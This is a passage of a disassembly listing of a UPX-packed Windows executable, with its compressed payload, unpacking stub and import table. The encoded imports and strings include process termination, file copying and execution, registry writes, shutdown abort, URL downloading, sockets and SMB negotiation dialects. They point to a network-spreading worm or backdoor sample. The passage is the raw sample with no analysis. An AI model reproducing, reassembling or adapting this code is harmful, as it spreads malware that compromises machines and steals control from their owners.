sub_3110277D+291r ; sub_3110318A+37o ... dword_31106034 dd 0 ; DATA XREF: sub_3110277D+27Fr ; sub_311032D9+37w ... word_31106038 dw 0 ; DATA XREF: sub_31103126+3Br ; sub_3110318A:loc_311031EBr ... align 4 dword_3110603C dd 0 ; DATA XREF: UPX0:3110249Dr ; sub_311036D8+3Cw ... dd 3F0h dup(0) dd 0C4h, 40h, 72695601h, 6C617574h, 65657246h, 69560100h dd 61757472h, 6C6C416Ch, 100636Fh, 4D746547h, 6C75646Fh dd 6C694665h, 6D614E65h, 1004165h, 7274736Ch, 69706D63h dd 43010041h, 4679706Fh, 41656C69h, 69570100h, 6578456Eh dd 43010063h, 74616572h, 6F6F5465h, 6C65686Ch, 53323370h dd 7370616Eh, 746F68h, 6F725001h, 73736563h, 69463233h dd 747372h, 72655401h, 616E696Dh, 72506574h, 7365636Fh dd 50010073h, 65636F72h, 32337373h, 7478654Eh, 704F0100h dd 76456E65h, 41746E65h, 65440100h, 6574656Ch, 656C6946h dd 45010041h, 50746978h, 65636F72h, 1007373h, 46746547h dd 53656C69h, 657A69h, 61655201h, 6C694664h, 49010065h dd 7265746Eh, 6B636F6Ch, 6E496465h, 6D657263h, 746E65h dd 65724301h, 50657461h, 65636F72h, 417373h, 65724301h dd 4D657461h, 78657475h, 6C010041h, 63727473h, 41706Dh dd 74654701h, 61636F4Ch, 6E49656Ch, 416F66h, 74736C01h dd 74616372h, 6C010041h, 63727473h, 417970h, 74654701h dd 7473614Ch, 6F727245h, 53010072h, 65747379h, 6D69546Dh dd 466F5465h, 54656C69h, 656D69h, 74654701h, 74737953h dd 69546D65h, 100656Dh, 736F6C43h, 6E614865h, 656C64h dd 69725701h, 69466574h, 100656Ch, 61657243h, 69466574h dd 41656Ch, 74736C01h, 79706372h, 100416Eh, 43746553h dd 65727275h, 6944746Eh, 74636572h, 4179726Fh, 65470100h dd 73795374h, 446D6574h, 63657269h, 79726F74h, 45010041h dd 54746978h, 61657268h, 53010064h, 76457465h, 746E65h dd 69615701h, 726F4674h, 676E6953h, 624F656Ch, 7463656Ah dd 72430100h, 65746165h, 65726854h, 1006461h, 61657243h dd 76456574h, 41746E65h, 736C0100h, 656C7274h, 100416Eh dd 65656C53h, 47010070h, 75437465h, 6E657272h, 6F725074h dd 73736563h, 65470100h, 6F725074h, 64644163h, 73736572h dd 6F4C0100h, 694C6461h, 72617262h, 1004179h, 74697257h dd 6F725065h, 73736563h, 6F6D654Dh, 1007972h, 6E65704Fh dd 636F7250h, 737365h, 74654701h, 75646F4Dh, 6148656Ch dd 656C646Eh, 47010041h, 69547465h, 6F436B63h, 746E75h dd 0D100h, 0 dd 65520100h, 65724367h, 4B657461h, 78457965h, 52010041h dd 65536765h, 6C615674h, 78456575h, 52010041h, 75516765h dd 56797265h, 65756C61h, 417845h, 67655201h, 6E65704Fh dd 4579654Bh, 1004178h, 44676552h, 74656C65h, 6C615665h dd 416575h, 67655201h, 736F6C43h, 79654B65h, 62410100h dd 5374726Fh, 65747379h, 7568536Dh, 776F6474h, 100416Eh dd 70797243h, 65724374h, 48657461h, 687361h, 79724301h dd 61487470h, 61446873h, 1006174h, 70797243h, 72655674h dd 53796669h, 616E6769h, 65727574h, 43010041h, 74707972h dd 74736544h, 48796F72h, 687361h, 79724301h, 65447470h dd 6F727473h, 79654B79h, 72430100h, 52747079h, 61656C65h dd 6F436573h, 7865746Eh, 43010074h, 74707972h, 75716341h dd 43657269h, 65746E6Fh, 417478h, 79724301h, 6D497470h dd 74726F70h, 79654Bh, 0DE00h, 0F800h, 74730100h, 79706372h dd 74730100h, 74616372h, 655F0100h, 70656378h, 61685F74h dd 656C646Eh, 1003372h, 696F7461h, 72730100h, 646E61h dd 48455F01h, 6F72705Fh, 676F6Ch, 435F5F01h, 72467878h dd 48656D61h, 6C646E61h, 1007265h, 73727473h, 1007274h dd 63727473h, 1007268h, 6C727473h, 1006E65h, 736D656Dh dd 1007465h, 636D656Dh, 1007970h, 646E6172h, 0E90000h dd 1300000h, 77010000h, 69727073h, 4166746Eh, 65470100h dd 726F4674h, 6F726765h, 57646E75h, 6F646E69h, 46010077h dd 57646E69h, 6F646E69h, 1004177h, 57746547h, 6F646E69h dd 72685477h, 50646165h, 65636F72h, 64497373h, 0F40000h dd 1440000h, 49010000h, 7265746Eh, 4F74656Eh, 416E6570h dd 6E490100h, 6E726574h, 65477465h, 6E6F4374h, 7463656Eh dd 74536465h, 657461h, 746E4901h, 656E7265h, 65704F74h dd 6C72556Eh, 49010041h, 7265746Eh, 5274656Eh, 46646165h dd 656C69h, 10000h, 15800h, 8FF00h, 0FF0073FFh, 6FFF0039h dd 0BFF00h, 0FF0034FFh, 0CFF0012h, 4FF00h, 0FF0016FFh dd 9FF0017h, 2FF00h, 0FF000DFFh, 3FF0001h, 10FF00h, 13FFh dd 0 dd 4550h, 2014Ch, 40C0EED6h, 2 dup(0) dd 10F00E0h, 6010Bh, 3200h, 1200h, 0 dd 2DE4h, 1000h, 5000h, 31100000h, 1000h, 200h, 4, 0 dd 4, 0 dd 7000h, 400h, 0 dd 2, 100000h, 1000h, 100000h, 1000h, 0 dd 10h, 2 dup(0) dd 3900h, 8Ch, 14h dup(0) dd 1000h, 1A4h, 6 dup(0) dd 7865742Eh, 74h, 30A8h, 1000h, 3200h, 400h, 3 dup(0) dd 0E0040020h, 7461642Eh, 61h, 1040h, 5000h, 1000h, 3600h dd 3 dup(0) dd 0C0000040h, 6000h, 3B30h, 651Ch, 42C33400h, 9808117Fh dd 0E7B7B21Ch, 0FFFFFF9Ch, 77899DFFh, 0D3971A3Dh, 8D5029A4h dd 463A96A5h, 12E8FC8Dh, 0AF10EB16h, 0F8457044h, 78966AD0h dd 0FFFFFFB1h, 51439FFFh, 86A827EBh, 98A3970h, 0A1C214DEh dd 167A53C1h, 1A85C4BFh, 29E70F61h, 66209E98h, 0FFFFFF89h dd 0B1FE53FFh, 0CA94070Ch, 1E75A3ECh, 0E8F91DA1h, 4ECBC5B4h dd 0D7F0DB1Ah, 1A873969h, 0C67B948Ch, 0FFFFFF18h, 0B38213FFh dd 424BBF3Eh, 0EB67E0h, 60B73784h, 0D7D8B3AAh, 65048022h dd 0FF4BA67Ah, 45855886h, 0FFF20BF6h, 0EEF96EFFh, 2FC956h dd 0A63B4A32h, 0D3D87AB7h, 6E6F63EBh, 0FF6D7874h, 36127FFFh dd 0ABAAAAD5h, 66C9335Dh, 8D0226B9h, 0FE8B0575h, 993C068Ah dd 0A2DF4607h, 2C06BFFFh, 99344630h, 0E2470788h, 0E80AEBEDh dd 622E51DAh, 6FFF6765h, 712EFBFFh, 1C99993h, 91BDFD12h dd 0C10716FDh, 42AA6872h, 0FDAA66FDh, 0DBB1BA10h, 1C14F7F7h dd 0C91A98F1h, 860898F3h, 10087102h, 0FFB1DB7Dh, 37CB5F90h dd 1C965992h, 75180DBBh, 0CD089B03h, 0AF6C8FECh, 0D5251025h dd 5447ECE4h, 0FB1B5D18h, 0F31DBEC7h, 9BF3449Fh, 0F319AE71h dd 1065E368h, 0D60B1C1Ch, 1A1FEEFEh, 5EFFD975h, 0FF24BD9Dh dd 0FF4DDC12h, 70ADD10h, 0F73BEDFFh, 33AC4Fh, 59B29D0Bh dd 3298E514h, 0F3451232h, 7D66CA89h, 2CB3D9FFh, 0B36E7133h dd 74416713h, 8AD95D1Ah, 6DF7BA34h, 9DF3119Fh, 98904F1h dd 0F32D04F1h, 0E93F6D9Bh, 0F367642Eh, 0E476F0E3h, 93F62182h dd 56C92EC9h, 0C0E86F21h, 7EDB2097h, 169BD932h, 0E5C1D83Fh dd 19C98ED5h, 0AF7FB1ECh, 0D9013BC9h, 23E90414h, 632871CAh dd 0FCB230BFh, 9161688Dh, 66F4C3F5h, 12CDA7EDh, 0BB6B36C9h dd 0CBC96C5Dh, 0F556794Eh, 0C9FD9327h, 0A6485A10h, 0E014C096h dd 2E4FDF4Ch, 0EBA729FBh, 0FE5D9CF3h, 7126F434h, 9BFFC5D0h dd 3BF927FDh, 0A8ECEF13h, 0B7010CA8h, 0E9EDFFC5h, 211FC2ECh dd 0B7FDE9FFh, 99FCE1FCh, 0FCF5CAC9h, 0FFCFE9FCh, 0F2FF97FFh dd 0FCF7EBFCh, 0C7ABAAF5h, 59AAF934h, 662A2DB4h, 0E6ACC91Eh dd 0C9A5B7E7h, 0ECFE379Ch, 9DB8BDF2h, 30927182h, 513519BFh dd 0A951F14h, 0DD8C1FFFh, 712A9172h, 0A5D231C8h, 0E180D512h dd 6FAA529Ah, 0FB788D14h, 9A2AFF6Fh, 8B12B9C8h, 58474A9Ah dd 9BAB9E59h, 20A319DBh, 0FFA26CECh, 0C15FFFB7h, 0DF9EED85h dd 0EB81E8A2h, 0C8125544h, 2E961FBDh, 0D812EB8Dh, 125A9A85h dd 0F9A1613Fh, 5A9A099Dh, 182EF810h, 7F664918h, 6DEDDBFDh dd 8712FEF7h, 95C25AA9h, 82128502h, 0CB5A9104h, 0CFF7F5F7h dd 85DECF68h, 424D53FFh, 53180972h, 5EFFFFC8h, 0FE2148h dd 2006217h, 4E204350h, 4F575445h, 0F97DAC52h, 50204BFFh dd 52474F52h, 31204D41h, 414C302Eh, 0A024D4Eh, 7FA5F6FEh dd 646E6957h, 8C73776Fh, 5720726Fh, 72676B03h, 6170756Fh dd 0EDF75BFh, 61312E33h, 32234D27h, 32303058h, 0DFE56B32h dd 0A1632DAh, 4C20544Eh, 1630204Dh, 0E464AD8Bh, 773A439h dd 56EDF60Dh, 23FF0C9Eh, 0A110400h, 0BB5B2014h, 0D4058C00h dd 4C0069B6h, 0C91E534Bh, 5053EA9Bh, 8297F200h, 57E008h dd 0DFFB9B62h, 64006E24h, 77006F00h, 743A7300h, 44B60130h dd 8C09F6F6h, 23350039h, 644E2E1Dh, 7E603h, 2008ABDAh dd 79019264h, 369F57DAh, 39C09D8h, 23466E00h, 0F2370747h dd 6400C80h, 1100600h, 3FFE5FFFh, 888A151Fh, 4F0048E0h dd 19814400h, 0E4F27A6Ah, 0AF281C49h, 4DF22530h, 1074F604h dd 5CE15367h, 0C1D775DFh, 3014F2h, 12F5C04h, 0F75DC85Ah dd 615C083Ah, 36072E4Dh, 0B60E3800h, 772ED8DDh, 491B30h dd 0E46443ECh, 6CEC39h, 0A264633Fh, 3E5B7FCh, 4004DC08h dd 0DE00FF16h, 0E00DEh, 0D8484C16h, 2019F83h, 0F70D4026h dd 192826FDh, 6C8B1103h, 77C874D9h, 70D31BD9h, 9C2A6300h dd 67B0256Bh, 109F52DBh, 1B04480Eh, 3BAEBADBh, 5A541354h dd 22596326h, 0FE69C75Ch, 45CB9F73h, 58765h, 4810030Bh dd 76803A4h, 0A10110B8h, 0FFD8FF01h, 19286AFFh, 0D0B10C39h dd 0A89B11h, 2ED94FC0h, 885D5FF5h, 0C91CEB8Ah, 0FB2F6411h dd 3CE89FC2h, 6048102Bh, 0A3F40CD1h, 5CF92BC8h, 0A00CA060h dd 64720Ch, 0CB179h, 0F24F0CA0h, 408877FDh, 0EC000900h dd 95000703h, 0D914014h, 7C4F08F6h, 0BF4070h, 0D911FF07h dd 7813434Bh, 0AB001385h, 0C813A65Bh, 13E984F3h, 0FF2FF810h dd 9E318090h, 40230EFEh, 83A4FBD2h, 88840861h, 0EE10B943h dd 0C9E4F2FFh, 10B801A7h, 0DAD200Ch, 6CC3E42Bh, 0D80F7F07h dd 0CB3E4AF2h, 84700118h, 0F90F840Fh, 951F200Dh, 7F02000Fh dd 0F090F84h, 0F6C3C9Bh, 6FA89A00h, 55BD9118h, 0E5611343h dd 6923109Fh, 2050586Eh, 42007250h, 46036D9Eh, 323B014Ah dd 0E49E426Bh, 15123C87h, 53410275h, 0BD914E00h, 19E1C26h dd 0CDFF06EBh, 5CCC57FFh, 5C73255Ch, 24637069h, 1CEC8166h dd 0E4FF07h, 0BFCFFF53h, 654465FCh, 69677562h, 656C6976h dd 64416567h, 7473756Ah, 0C96B6F54h, 65D9336Dh, 4C73176Eh dd 7075126Fh, 3FBB7EDBh, 756C6156h, 4F174165h, 636F2870h dd 3F347324h, 4317FF06h, 61766461h, 0EF336970h, 72657475h dd 0FF37B76Dh, 3131FFh, 6C656853h, 72545F6Ch, 6E577961h dd 65724364h, 65521A61h, 0DBB9DF6Dh, 54056F6Dh, 56140C68h dd 75747269h, 0DDAC4158h, 4F28ADDAh, 4E0F7845h, 47356E72h dd 0FEE9A69Ah, 31105CF4h, 0A8C003DCh, 9A6C6C8Ch, 304C69A6h dd 5BFC1424h, 0B337F6A3h, 2E634AF0h, 2E72616Bh, 44B7E240h dd 61677FF7h, 646F7073h, 617A2E65h, 67B52E0Dh, 0B37B9F09h dd 696C533Fh, 0F251361h, 13767433h, 6B73F0CDh, 8271722Eh dd 752E6EE8h, 6BD8BA0Dh, 57565EDh, 273B8A0Bh, 5DD68577h dd 0CA684FD8h, 641F7467h, 2B6D2E31h, 6C1F647Fh, 612D736Fh dd 5B1A65BAh, 63D95DA1h, 60622061h, 0DB731D2Dh, 45533296h dd 55652F5Dh, 9EF60466h, 661772B2h, 330E616Ch, 0FF2536A9h dd 7A617267h, 6D74612Eh, 5CF0E287h, 2D7770C1h, 0D61E998Eh dd 0BB76FFB4h, 2163629Bh, 6ABF6766h, 6E6D6C6Bh, 5271706Fh dd 2FC4BFFCh, 78777673h, 41B97A79h, 45444342h, 49484746h dd 0A8154B4Ah, 0E84EB56Fh, 54535251h, 6FC6FEB3h, 1B5A960Bh dd 52455355h, 38204220h, 3A202A20h, 0DDF0F12Eh, 4B0A0D07h dd 0E879B76Ch, 0C6D94349h, 13318560h, 0B53DE50h, 3D9BA57Eh dd 0A474E4Fh, 3407490Bh, 6B0FC935h, 4F4A0B37h, 55512F0Ch dd 7B1D5449h, 49523C5Bh, 66473156h, 0D8742311h, 0B5B70EDCh dd 3E1779h, 78E0075Fh, 0C57F1A17h, 6F4D71A3h, 2F13887Ah dd 0EDDB8534h, 28209542h, 2A706DE5h, 86706269h, 3BDBE85Ch dd 45494020h, 3BAB3620h, 0A177DF20h, 7D358086h, 4E770029h dd 5AE0713Fh, 64253773h, 6859022Ch, 99FB3E07h, 7C03FBEEh dd 13312D60h, 8F707466h, 0F236F1D2h, 73C77564h, 0A39B1E89h dd 76736DF1h, 5C03A563h, 0ADBA3569h, 325FDDF1h, 8575175Fh dd 38073903h, 0C473E45Eh, 3107BD0Bh, 1F785BDCh, 42203416h dd 30084449h, 0DFDA0658h, 4F1392E8h, 52416D46h, 694D5C45h dd 0DB07C253h, 6F6FAB16h, 435CB35Ch, 3B5B7275h, 6EF0D1BDh dd 69F15674h dd 75525C66h, 0BAE1D058h, 94550ED6h, 315393EDh, 0AD6131E9h dd 723F278Bh, 1AEEB176h, 0DC43635Ch, 0B876A33Fh, 64326576h dd 0C5F67B9Bh, 10532037h, 0DC1B6530h, 1ABD90B2h, 4B17235Bh dd 6EC36E9Fh, 0C073796Fh, 20B34200h, 5B1CC5BAh, 1369610Fh dd 3A206D1Bh, 0C8568D60h, 44377206h, 0DB773D69h, 5E20485Ah dd 6D672F66h, 61422A88h, 246392DBh, 0DA69DE63h, 6B1883ABh dd 1A1ED38Dh, 0A86AA000h, 0D9C40008h, 3F138ACFh, 72466401h dd 0F80C6565h, 7122BDBFh, 7465470Dh, 75646F4Dh, 0FE46656Ch dd 0E3ADE2B7h, 0E06D614Eh, 74736C01h, 706D6372h, 7B816F69h dd 6F430AEFh, 0A197970h, 657845C9h, 70AC7C56h, 6F54C632h dd 4DDF6C6Fh, 70FFF6A0h, 6E533233h, 68737061h, 1419746Fh dd 0ADDD40ADh, 73723212h, 3507540Fh, 730580F7h, 4E21182Ch dd 0BA207865h, 49206C42h, 5F2B7645h, 5AC16E44h, 6C29C421h dd 0A2746969h, 34C973FBh, 695316A3h, 6752BE7Ah, 7E95ED88h dd 6249090Dh, 0DA2199C4h, 64656B76h, 7394630Ah, 6C3A059Dh dd 0F4170B2h, 6DE5934Dh, 0DA78B2ECh, 3B4C5441h, 0E4656C61h dd 66D86D61h, 2329196Fh, 51087970h, 0D611B7Eh, 6F727245h dd 0EC59F672h, 6954F73Dh, 981FB6Dh, 0B8AD1823h, 86E6E40h dd 7BB74865h, 0A17F66C3h, 0D1697257h, 67610B86h, 6E2EEB44h dd 0F73E530Ah, 0B11AF644h, 5063C611h, 0E835478h, 13144B03h dd 845D2D36h, 63373637h, 0DEE64661h, 5320B40Ah, 624F5B9Ch dd 0D86D2E6Ah, 2C1B0D9Bh, 8BDE2F0Dh, 296D62DDh, 7065067Bh dd 0BFD8826Ch, 0B713084h, 72646441h, 0EFBD9B0Fh, 694CF988h dd 88617262h, 4D82BD6h, 0A34D06D7h, 0CC3EC99Dh, 5418CC26h dd 0B14DD008h, 0A91F2851h, 0D1A0754Eh, 4498684Fh, 9F67CCA8h dd 2276654Bh, 4579CEE7h, 0F69DA10h, 1DAD612Fh, 11600A51h dd 23362C6Bh, 21383060h, 0BDBB4210h, 0C5183C3h, 499C6241h dd 0E3452BDh, 89026853h, 9B46B0F7h, 707972BDh, 0B9A07774h dd 6D98AE10h, 12440A5Fh, 61860E61h, 69E163ADh, 67567966h dd 362B75BFh, 0B436F616h, 796F3E6Ch, 36D6112Ch, 106FF677h dd 651E8F52h, 0F90DEAEBh, 14E48F67h, 75716341h, 0E7057269h dd 494D871Ah, 133AA08Ah, 9A719B3Bh, 71BF8DEh, 0DC3A3E61h dd 2F5FAD0Ah, 685F2A55h, 6B775C4Bh, 15119005h, 721F696Fh dd 6B6EF410h, 48451EEFh, 0F27F705Fh, 435F0B67h, 0D8B97878h dd 0C5E5A9ACh, 2452C48h, 9D9B656Dh, 1707684Dh, 0D96D226Eh dd 0A2B62C5Eh, 4C6D0774h, 0B613E984h, 130B36Dh, 69537377h dd 45BA66AAh, 5F1D0133h, 3622F565h, 0CE62D1ACh, 210BC814h dd 6CC66306h, 4906700Bh, 0E9A74E89h, 0AB44F44Fh, 0D96E0DA3h dd 0E41BA83h, 0C26E1139h, 0B31C970Ch, 8F7453C3h, 60292529h dd 2CAB55EDh, 9B6CB2F9h, 58034FCDh, 730208FFh, 2CB2CB39h dd 340B6FCBh, 2C040C12h, 162CB2CBh, 0D020917h, 0B2CB2C67h dd 13100301h, 6F9507Ah, 0DF45A850h, 0C0EED673h, 0FB66B340h dd 0F00E007h, 6010B01h, 1312320Ch, 0D573D57Dh, 30AA2DE4h dd 4B3731B3h, 20B8D56h, 600C0727h, 70496E67h, 710341Eh dd 6C9672D5h, 8C390206h, 58402ED8h, 1A4649Fh, 1EED831Eh dd 77E2E57h, 329030A8h, 6060841Fh, 0E0047CC4h, 0DF6642Eh dd 0FB0A4ED9h, 27360740h, 161B8E96h, 6000C038h, 1C3B31h dd 96180000h, 1200h, 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- public start start: pusha mov esi, offset dword_31106000 lea edi, [esi-5000h] push edi or ebp, 0FFFFFFFFh jmp short loc_31108242 ; --------------------------------------------------------------------------- align 8 loc_31108238: ; CODE XREF: UPX1:loc_31108249j mov al, [esi] inc esi mov [edi], al inc edi loc_3110823E: ; CODE XREF: UPX1:311082D6j ; UPX1:311082EDj add ebx, ebx jnz short loc_31108249 loc_31108242: ; CODE XREF: UPX1:31108230j mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31108249: ; CODE XREF: UPX1:31108240j jb short loc_31108238 mov eax, 1 loc_31108250: ; CODE XREF: UPX1:3110825Fj ; UPX1:3110826Aj add ebx, ebx jnz short loc_3110825B mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_3110825B: ; CODE XREF: UPX1:31108252j adc eax, eax add ebx, ebx jnb short loc_31108250 jnz short loc_3110826C mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_31108250 loc_3110826C: ; CODE XREF: UPX1:31108261j xor ecx, ecx sub eax, 3 jb short loc_31108280 shl eax, 8 mov al, [esi] inc esi xor eax, 0FFFFFFFFh jz short loc_311082F2 mov ebp, eax loc_31108280: ; CODE XREF: UPX1:31108271j add ebx, ebx jnz short loc_3110828B mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_3110828B: ; CODE XREF: UPX1:31108282j adc ecx, ecx add ebx, ebx jnz short loc_31108298 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31108298: ; CODE XREF: UPX1:3110828Fj adc ecx, ecx jnz short loc_311082BC inc ecx loc_3110829D: ; CODE XREF: UPX1:311082ACj ; UPX1:311082B7j add ebx, ebx jnz short loc_311082A8 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_311082A8: ; CODE XREF: UPX1:3110829Fj adc ecx, ecx add ebx, ebx jnb short loc_3110829D jnz short loc_311082B9 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_3110829D loc_311082B9: ; CODE XREF: UPX1:311082AEj add ecx, 2 loc_311082BC: ; CODE XREF: UPX1:3110829Aj cmp ebp, 0FFFFF300h adc ecx, 1 lea edx, [edi+ebp] cmp ebp, 0FFFFFFFCh jbe short loc_311082DC loc_311082CD: ; CODE XREF: UPX1:311082D4j mov al, [edx] inc edx mov [edi], al inc edi dec ecx jnz short loc_311082CD jmp loc_3110823E ; --------------------------------------------------------------------------- align 4 loc_311082DC: ; CODE XREF: UPX1:311082CBj ; UPX1:311082E9j mov eax, [edx] add edx, 4 mov [edi], eax add edi, 4 sub ecx, 4 ja short loc_311082DC add edi, ecx jmp loc_3110823E ; --------------------------------------------------------------------------- loc_311082F2: ; CODE XREF: UPX1:3110827Cj pop esi mov edi, esi mov ecx, 0B4h loc_311082FA: ; CODE XREF: UPX1:31108301j ; UPX1:31108306j mov al, [edi] inc edi sub al, 0E8h loc_311082FF: ; CODE XREF: UPX1:31108324j cmp al, 1 ja short loc_311082FA cmp byte ptr [edi], 1 jnz short loc_311082FA mov eax, [edi] mov bl, [edi+4] shr ax, 8 rol eax, 10h xchg al, ah sub eax, edi sub bl, 0E8h add eax, esi mov [edi], eax add edi, 5 mov eax, ebx loop loc_311082FF lea edi, [esi+6000h] loc_3110832C: ; CODE XREF: UPX1:3110834Ej mov eax, [edi] or eax, eax jz short loc_31108377 mov ebx, [edi+4] lea eax, [eax+esi+8000h] add ebx, esi push eax add edi, 8 call dword ptr [esi+808Ch] xchg eax, ebp loc_31108349: ; CODE XREF: UPX1:3110836Fj mov al, [edi] inc edi or al, al jz short loc_3110832C mov ecx, edi jns short near ptr loc_3110835A+1 movzx eax, word ptr [edi] inc edi push eax inc edi loc_3110835A: ; CODE XREF: UPX1:31108352j mov ecx, 0AEF24857h push ebp call dword ptr [esi+8090h] or eax, eax jz short loc_31108371 mov [ebx], eax add ebx, 4 jmp short loc_31108349 ; --------------------------------------------------------------------------- loc_31108371: ; CODE XREF: UPX1:31108368j call dword ptr [esi+8094h] loc_31108377: ; CODE XREF: UPX1:31108330j popa jmp loc_31102DE4 ; --------------------------------------------------------------------------- align 1000h UPX1 ends ; Section 3. (virtual address 00009000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00009000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write UPX2 segment para public 'DATA' use32 assume cs:UPX2 ;org 31109000h dd 3 dup(0) dd 90C4h, 908Ch, 3 dup(0) dd 90D1h, 909Ch, 3 dup(0) dd 90DEh, 90A4h, 3 dup(0) dd 90E9h, 90ACh, 3 dup(0) dd 90F4h, 90B4h, 3 dup(0) dd 9100h, 90BCh, 5 dup(0) dd 77E805D8h, 77E7A5FDh, 77E75CB5h, 0 dd 77DD189Ah, 0 dd 77C1BE00h, 0 aJW db 'jÉÔw',0 align 4 aPV db '¶¯ v',0 align 4 dd 71AB1AF4h, 0 aKernel32_dll db 'KERNEL32.DLL',0 aAdvapi32_dll db 'ADVAPI32.dll',0 aMsvcrt_dll db 'MSVCRT.dll',0 aUser32_dll db 'USER32.dll',0 aWininet_dll db 'WININET.dll',0 aWs2_32_dll db 'WS2_32.dll',0 align 4 aLoadlibrarya db 'LoadLibraryA',0 align 2 aGetprocaddress db 'GetProcAddress',0 align 2 aExitprocess db 'ExitProcess',0 align 4 aRegclosekey db 'RegCloseKey',0 dd 74610000h, 696Fh, 72707377h, 66746E69h, 41h, 65746E49h dd 74656E72h, 6E65704Fh, 41h, 3A6h dup(0) UPX2 ends ; Section 4. (virtual address 0000A000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0000A000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 3110A000h dd 80h dup(0) align 1000h _idata2 ends end start